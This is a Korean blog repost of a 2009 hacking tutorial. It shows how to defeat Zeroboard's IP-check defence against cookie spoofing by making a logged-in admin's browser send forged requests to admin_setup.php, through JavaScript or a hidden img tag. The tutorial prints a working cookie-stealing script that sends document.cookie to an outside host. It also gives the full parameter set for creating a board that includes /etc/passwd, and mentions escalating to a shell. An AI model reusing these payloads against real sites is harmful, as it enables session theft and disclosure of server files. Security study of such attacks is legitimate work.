ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Prevention of Cookie Spoofing and evasion of CGI program
    case Computer : 2009. 3. 10. 21:08

    Prevention of Cookie Spoofing and evasion of CGI program
    (Cookie Spoofing 방지 CGI 프로그램 우회하기)

     

     

    by Beist Security Research Group
    (http://beist.org)

    Members of Beist Research Group : beist and anonymous people
    Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina

     

     

    요약 : 본 문서는 Cookie Spoofing 해킹 기법을 방지하는 보안 솔루션을 우회하는 기법에 대해서 소개하고 있다. Cookie Spoofing 방지를 위해서 기존의 Cookie 정보와 동시에 사용자의 로그인된 IP를 비교하는 방법을 많이 사용하고 있다. 그러나 해커가 직접 공격을 수행하지 않고, JavaScript를 이용하여 웹 관리자로 하여금 스스로 공격을 수행하도록 유도하는 방법으로 우회할 수 있는데 이럴 경우 IP를 비교하는 방식의 보안 알고리즘을 우회하여 공격에 성공할 수 있다.

     

     

     

     

     

    1. 개요

    Cookie Sniffing을 이용한 Spoofing 기술은 갈수록 발전하고 있습니다. Spoofing 공격을 막기 위해 여러 가지 방안이 제시되었는데, 그 중에 한가지를 알아보면 서버로 접근해오는 클라이언트가이 이미 Login 된 IP 즉, Admin 의 IP 와 다른 IP 일 경우 Hacking 으로 간주하고 Session 을 끊는 방법이 있습니다. 이럴 경우 Hacker 는 Cookie Sniffing 에 성공하여서 Cookie (Session) 을 갖게 된 상태라도, Login 된 IP 와 IP 가 틀리기 때문에 접속에 제한을 받을 수 있습니다.

    이 문서에서는 이러한 상황일 때 우회하여 공격에 성공할 수 있는 방법에 대해서 소개를 하려 합니다. 실제로 Zeroboard 의 비교적 최근 버전에서는 위에서 말한 방어 기능을 어느 정도 구현하고 있었습니다. 여기서는 Zeroboard 를 대상으로, Zeroboard 에서 구현한 방어 루틴을 어떻게 우회할 수 있는 지 그 Hacking 기법에 대해서 알아보겠습니다.

    Cookie Sniffing 은, Javascript 같은 기타 Client Script 를 이용하여 대부분 공격이 이루어집니다. 그러므로 Cookie Sniffing 이 가능하다는 것은, Client Script 언어를 사용 가능하다는 이야기가 되는데(모든 Cookie Sniffing 상황이 그렇다는 것은 아닙니다. Cookie 를 얻는 방법은, Client Script 를 이용하는 방식이 아닌 것으로도 얻을 수 있을 것입니다. 예를 들면 packet sniffing), 이 Client Script 의 특정 기능을 이용하면 위의 방어 알고리즘을 무용지물로 만들 수 있습니다.

    이 문서에서는 현재 문서의 URL 에 관련된 객체인 location.href 을 이용할 것입니다. 그리고 또, Zeroboard 의 Admin 메뉴 중에 head, foot 파일을 지정할 수 있는 기능을 이용하여 Hacking 을 하는 방법에 대해서 설명할 것입니다.

     

     

     

     

     

     

    2. 이용될 수 있는 곳

    이 문서에서 설명하는 방법을 이용하면, 접근하는 IP 가 Admin IP 와 같은지 비교하는 방어 알고리즘을 무용지물로 만들 수 있습니다. Cookie Sniffing 기술이 발전하면서 이러한 방어 루틴이 많은 CGI 에 삽입되었을거라 생각합니다. 게시판, 자료실, 웹메일, 쇼핑몰 기타 등등에 이 기법을 응용할 수 있을 것입니다. 이 방법을 이용하여 공격에 성공하였을 경우에는, 특정 ID 의 Password 를 바꾸거나, 혹은 Target System 의 Shell 을 얻는 것까지, 다양한 해킹들을 할 수 있습니다.

    이 문서에서는, Zeroboard 의 head, foot 파일 지정 기능을 이용하여 /etc/passwd 파일을 읽는 방법에 대해서 알아보겠습니다. (물론, 이 방법을 이용하여 Target System 의 Shell 을 따는 것도 가능합니다. 그에 대한 방법은 Automatic attack program that can be used in Cookie Sniffing 문서를 참고하시기 바랍니다.)

     

     

     

     

     

     

    3. 기술적인 내용

    먼저 해커가 특정 정보의 Cookie(이 문서에서는 Session을 포함하여 언급하겠습니다.) 를 가져오기 위해서 이용하는 가장 대표적인 방법은 Javascript 같은 Client Language Script 들을 이용하는 것입니다. 가장 널리 알려져 있는 Cookie Sniffing 의 일반적인 소스는 다음과 같습니다.

     

    sample.html

    <html>
    <head>
    <title>Cookie Sniffing - beist</title>
    <script language=javascript>
    window.open("http://beist.org/hack.php?cook="+document.cookie);
    </script>
    </head>
    <body>
    <center><br><br><br>this is test
    </body>
    </html>

     

    Hacker 가 Cookie Sniffing 을 통해 Cookie 를 빼오게 되면, 이 Cookie 를 이용하여 다시 공격을 해야합니다. 훔쳐온 Cookie 정보를 이용하여 다시 Target CGI 에 접근하는 것을 보통 Cookie Spoofing 이라 부릅니다. 이 문서에서는 Cookie Sniffing, Spoofing 이 두 과정을 해커가 수행할 필요가 없는 방법에 대해서 알아볼 것입니다.

    우회할 보안 알고리즘에 대해서 조금 더 자세하게 알아보겠습니다.

    위에서, 해커가 Cookie Sniffing 기술을 통해 Cookie 를 훔쳐오는 데 성공했다면, 그 Cookie 를 이용하여 다시 Target CGI 에 접근해야한다는 것을 언급했습니다. 다시 접근하는 이 과정을 Spoofing 이라 하는데, Zeroboard 에서는 이 Spoofing 공격을 막기 위해서 다음과 같은 루틴을 넣었습니다.

    다음은 lib.php 소스의 member login 처리 부분입니다.

     

    lib.php

     

    if($HTTP_SESSION_VARS["zb_logged_no"]) {

    // 로그인 시간이 지정된 시간을 넘었거나 로그인 아이피가 현재 사용자의 아이피와 다를 경우 로그아웃 시킴
    if(time()-$HTTP_SESSION_VARS["zb_logged_time"]>$_zbDefaultSetup["login_time"]||$HTTP_SESSION_VARS["zb_logged_ip"]!=$REMOTE_ADDR) {

    $zb_logged_no="";
    $zb_logged_time="";
    $zb_logged_ip="";
    session_register("zb_logged_no");
    session_register("zb_logged_ip");
    session_register("zb_logged_time");
    session_destroy();

    // 유효할 경우 로그인 시간을 다시 설정
    }

     

    위의 소스에서 $HTTP_SESSION_VARS["zb_logged_ip"] 에 저장된 값은, 정상적인 Admin 이 Zeroboard 에 로그인할 때 만들어지는 것입니다. 즉, Admin 의 IP 가 저장됩니다. Admin 의 부주의로 Cookie Sniffing 기술에 Cookie 를 해커에게 도둑맞아도, 다음의 비교 루틴 때문에 해커는 Cookie Spoofing 을 할 수 없습니다. (기타 다른 부분의 소스는 Zeroboard 소스를 다운받아 분석해보시기 바랍니다.)

     

    $HTTP_SESSION_VARS["zb_logged_ip"]!=$REMOTE_ADDR

     

    $REMOTE_ADDR 은, Client IP 가 담긴 환경 변수인데, 만약 이 값이 Zeroboard 에 로그인할 때 생성된 zb_logged_ip 값과 같지 않다면 Session 은 초기화되면서 제거됩니다. Hacker 가 Cookie Spoofing 을 할 때 $REMOTE_ADDR 값은, 해커의 IP 가 될 것입니다. 당연히, 위의 IP Check 루틴에 걸리게 되면서 세션이 초기화, 즉 접근이 차단될 것입니다. 이 문서에서는 바로 위의 IP Check 루틴을 깨는 방법에 대해서 다룰 것입니다.

    해커의 공격을 막는 위 방해물을 깨는 방법론은 몇가지가 있습니다. 첫번째, Session 에 저장된 zb_logged_ip 값을 임의로 변경하는 것입니다. 그러나 이 Session 에 저장된 값을 변경하기 위해서는, Zeroboard 의 Admin ID 로 정상적인 로그인 과정을 거쳐야한다는 이야기입니다. 로그인을 하기 위해서는 Admin 의 Password 가 필요한데, 현재 해커는 Session 값을 갖고 있을 뿐이지 Admin 의 Password 를 알고 있는 것은 아닙니다.

    두번째, 해커의 IP 를 Admin IP 로 위조하는 방법, 즉 $REMOTE_ADDR 를 직접 조작하는 방법인데, 아직까지는 $REMOTE_ADDR 환경 변수를 임의로 조작하는 방법에 대해서는 알려진바가 없습니다.

    세번째, Admin 의 컴퓨터를 직접 해킹하여 CGI 에 접근하는 방법입니다. 그러나 이 방법은 CGI 를 해킹하는 것보다 오히려 더 힘든 방법이 될 수 있습니다. 버그가 없는 버전의 Client OS 를 사용하고 있는 Admin 이라면 더욱 그렇습니다.

    네번째는 바로 이 문서에서 사용할 방법입니다. 해커가 Zeroboard Admin ID 로 로그인한 운영자의 웹 브라우저를 조종하는 방법입니다. 이것은 Admin의 컴퓨터를 직접적으로 해킹하는 기법은 아닙니다. 만약 해커가 Admin 컴퓨터의 웹 브라우저를 조종하여서, Admin 컴퓨터에서 Target Server 에 접근한다면

     

    $HTTP_SESSION_VARS["zb_logged_ip"]!=$REMOTE_ADDR

     

    이 IP 체크 루틴을 이상없이 지나칠 수 있습니다. Admin 의 웹 브라우저를 조종하여 CGI 에 접근하였을 경우, 위의 $REMOTE_ADDR 은 Admin 의 컴퓨터이기 때문에 Session 에 저장된 zb_logged_ip 값과 같습니다. 그러면 이제 어떤 방법으로 Admin 을 조종할 수 있는지 알아보겠습니다.

    먼저, 우리가 Admin 컴퓨터에게 해야 할 것이 무엇인지 알아보겠습니다. 1. 개요 에서 말씀드렸지만 이 문서에서는, Target Server 의 /etc/passwd 를 읽는 방법에 대해서 살펴보겠습니다. (물론 이 것을 응용하면 쉽게 Shell 을 딸 수 있습니다.)

    우리가 사용하는 방법의 순서는 다음과 같습니다.

    1. Zeroboard Admin Menu 에 접근
    2. 임의의 새로운 게시판 생성
    3. 새 게시판에 head file 에 /etc/passwd 지정
    4. 기타 나머지 변수 작성
    5. 쿼리 전달

    위의 5 가지 사항은 그리 길지 않은 내용이므로, 따로 나누어 정리를 하지 않고 한꺼번에 설명하겠습니다. 제로보드에서 새로운 게시판을 만들기 위해서 접근해야 하는 CGI 는 admin_setup.php 라는 CGI 파일입니다. 이때 환경 설정을 제대로 해주어야 우리가 원하는 게시판을 정상적으로 생성할 수 있습니다. 여기서 환경 설정이란 여러 가지 변수 값들을 의미합니다.

    여기서는 가장 중요한 3 가지의 변수에 대해서만 알아보겠습니다.

    exec2 = add_ok (게시판을 생성하는 모드를 뜻합니다.)
    name = hackbeist (추가할 게시판의 이름입니다.)
    header_url = %2Fetc%2Fpasswd (head 파일로 지정하는 값입니다. %2F 는 / 이므로, /etc/passwd 가 됩니다.)

    위 변수들을 주의깊게 보시고 나머지 변수의 기능에 대해서는 여러분이 알아보시기 바랍니다. (변수의 이름이 그 기능과 관련된 것들이 많으므로, 변수 이름만 보고도 쉽게 짐작할 수 있을거라 생각됩니다.)

    위 변수 3 개와, 나머지 변수의 값들을 채우면 다음과 같습니다. 다음의 변수들을 admin_setup.php 를 요청할 때 같이 전달해야 합니다.

    no=
    exec=view_board
    exec2=add_ok
    page=
    group_no=1
    name=hackbeist
    skinname=nzeo_ver3
    only_board=1
    bg_image=
    bg_color=white
    table_width=95
    cut_length=0
    memo_num=20
    page_num=10
    title=hackerboard
    header_url=%2Fetc%2Fpasswd
    header=%3Cdiv+align%3Dcenter%3E
    footer_url=
    footer=%3C%2Fdiv%3E
    use_html=1
    use_showreply=1
    use_filter=1
    use_pds=1
    pds_ext1=
    pds_ext2=
    max_upload_size=2097152
    use_autolink=1
    use_comment=1
    use_formmail=1
    use_secret=1
    filter=%0D%0A
    avoid_tag=a%2Cimg%2Cembed%2Cfont%2Cb%2Cdiv%2Ccenter%2Cp%2Cbr%0D%0A
    avoid_ip=
    x=47
    y=7

    (위의 변수 값들중, 값이 없는 변수는 CGI 로 넘길때 굳이 필요하지 않은 변수들이라 첨부하지 않아도 되지만, 형식상 표기를 하였습니다.)

    위의 변수들을 정상적으로 채운 후, admin_setup.php 를 요청한다면, hackbeist 이름을 갖는 게시판이 head file 을 /etc/passwd 로 지정한 채 생성이 될 것입니다. 해커는 이 작업을 Admin 이 하도록 조종을 해야합니다. 어떤 방법으로 조종을 할 수 있는지 이제 본격적으로 알아보겠습니다.

    우리는 Javascript 를 이용하는 방법을 알아볼 것입니다. Cookie Sniffing 을 할 때, 사용하는 window.open 대신 location.href 객체를 이용하여, 현재 웹브라우저의 주소를 우리가 원하는 특정 주소로 지정할 것입니다. 즉, Admin 의 웹 브라우저 주소를 admin_setup.php 으로 지정함으로써, 우리가 원하는 일을 해낼 수 있습니다.

    해커는, Admin 의 웹 브라우저를 admin_setup.php CGI 로 보낼때, 위의 변수들을 GET method 형태로 보내주어서, 게시판을 생성할 수 있도록 해야합니다. 그 javascript 소스를 알아보면 다음과 같습니다. (여기서 Cookie Sniffing 방법은, Cookie Sniffing by Using txt extension 문서에서 사용한 방법을 이용하겠습니다.) 먼저, Target 의 정보에 대해서 알아보겠습니다.

     

    Target Server URL - http://beist.org
    Target Server Zeroboard URL (admin_setup.php) - http://beist.org/~beist/zero/admin_setup.php

     

    해커는 위의 정보들을 참고하여 공격 프로그램 (웹 브라우저의 location.href 를 조작하는 javascript) 을 작성한 후, 이 파일을 Target 서버의 Zeroboard 에 올립니다. Admin 이 이 파일을 읽는 순간 공격이 진행됩니다. 소스를 알아보겠습니다. test.txt에서 문제가 될 수 있는 공격 코드는 삭제하였습니다.

     

    test.txt

     

    <html>
    <head>
    <title>beist : "kkkkkkkkkkk"</title>
    <script lauguage=javascript>
    var targetcgi="http://beist.org/~beist/zero/admin_setup.php";
    var headerfile="%2Fetc%2Fpasswd";
    var execmode="add_ok";
    var boardname="hackbeist";

    location.href=targetcgi+ // 주요 코드 삭제
    </script>
    </head>
    <body>
    <center><font size=2><br><br><br>
    Hi, Welcome to beist world..
    </body>
    </html>

     

    해커가 올린 test.txt 의 URL 은 다음과 같습니다.

    test.txt URL - http://beist.org/~beist/zero/data/test.txt


    소스의 내용은 어렵지 않으므로 주석을 달지 않았습니다. 위의 소스는 해커가 원하는 게시판을 생성하도록, Admin 의 웹브라우저를 조종할 것입니다. Admin 이 test.txt 파일을 읽게 되었을 때 화면을 캡쳐해보았습니다. (Admin이 읽게 하도록 여러 가지 방법이 있을 수 있습니다.)

     

    [화면1] http://beist.org/~beist/zero/data/test.txt (Admin 이 해커가 올린 test.txt 을 읽었을 때)

    화면1 : Admin 이 해커가 올린 test.txt 파일을 읽고, admin_setup.php 로 이동하기 전의 화면입니다.

     

    [화면2] test.txt 파일을 읽고, location.href 가 admin_setup.php 로 변한 화면

    화면 2 : admin_setup.php 로 넘어가 hackbeist 게시판을 생성한 화면입니다.

     

    [화면3] hackbeist 게시판 화면

    화면 3 : hackbeist 를 요청해본 결과, /etc/passwd 파일이 header 파일로 포함되어 있음을 확인할 수 있습니다.

     

    이러한 방법으로 Admin 의 웹 브라우저를 조종하여 해커가 원하는 일을 해낼 수 있습니다. header 파일로 지정하는 것을 /etc/passwd 가 아닌, 해커가 임시로 만든 악의적인 파일등을 include 한다면, Web Server 의 Shell 을 딸 수 있습니다. (이 방법에 대해서는 제가 쓴 다른 강좌들을 참고해보시기 바랍니다. 여기서는 이러한 해킹 방법이 있다는 알아보기 위함으로 /etc/passwd 를 header 파일로 지정하였습니다.)

     

     

     

     

     

     

    4. 마치는 말

    해커의 Cookie Spoofing 공격을 방지하는 CGI 보안 루틴을 우회하는 방법에 대해서 알아보았습니다. 이러한 방법으로 IP 인증 체크를 넘어갈 수 있습니다. location.href 객체를 이용한 것은 한 가지 예를 든 것일 뿐이고, 다른 것들을 이용하여 더 많은 것들을 할 수 있을 것입니다.

    그리고, 위와 똑같은 기능의 해킹을 할 때, 위에서 설명한 것보다 훨씬 더 쉬운 방법이 있습니다. 바로 글을 쓸때 HTML의 <img> 태그를 이용하여 제로보드 본문에 삽입하는 것입니다. img 역시 GET 요청이기 때문에 위에서 다루었던 것과 같은 결과를 낼 수 있습니다. 문제가 될 수 있는 주요 코드는 삭제하였습니다.

     

    <img src=//주요 코드 삭제 width=0 height=0 >

     

    이러한 내용의 게시물을 Admin 이 보게되면, 3. 기술적인 내용의 과정을 수행해서 얻은 것과 똑같은 것을 해커는 얻어낼 수 있습니다. img 태그를 이용하여 Client 가, admin_setup.php 를 요청하게끔 만드는 기술입니다. img 태그 이외에도 Client 가 특정 페이지를 요청하게 만들수만 있다면 어느 태그라도 가능합니다. (예를 들면, embed 등의 태그) 게다가 이 공격은, width 같은, 객체의 길이 설정을 0 으로 만들어버리면, 웹브라우저 사용자의 눈에 띄지도 않기 때문에 해커가 마음만 먹는다면 JavaScript를 쓰지 않고도 쉽게 해킹 하는 것이 가능할 수 있습니다.

    이러한 간단한 방법도 있지만 이 문서에서 location.href 를 이용한 복잡한 방법을 기술한 이유는, 이 문서에서 사용한 방법을 응용하면 이 외에도 여러 가지 해킹을 할 수 있다는 가능성에 대해서 말하고자 하는 의도였습니다.



    바로가기 BeistLab
    반응형

    'case Computer :' 카테고리의 다른 글

    sis.or.kr - 윈도우 보안 총정리  (1) 2009.03.19
    iptables script  (0) 2009.03.18
    MySQL 원격접속 하기  (2) 2009.03.18
    우분투 서버 & 콘솔에서 해상도 변경  (0) 2009.03.17
    Fire fox :) 파이어폭스 :) 파폭  (1) 2009.03.06

    댓글

Designed by Tistory.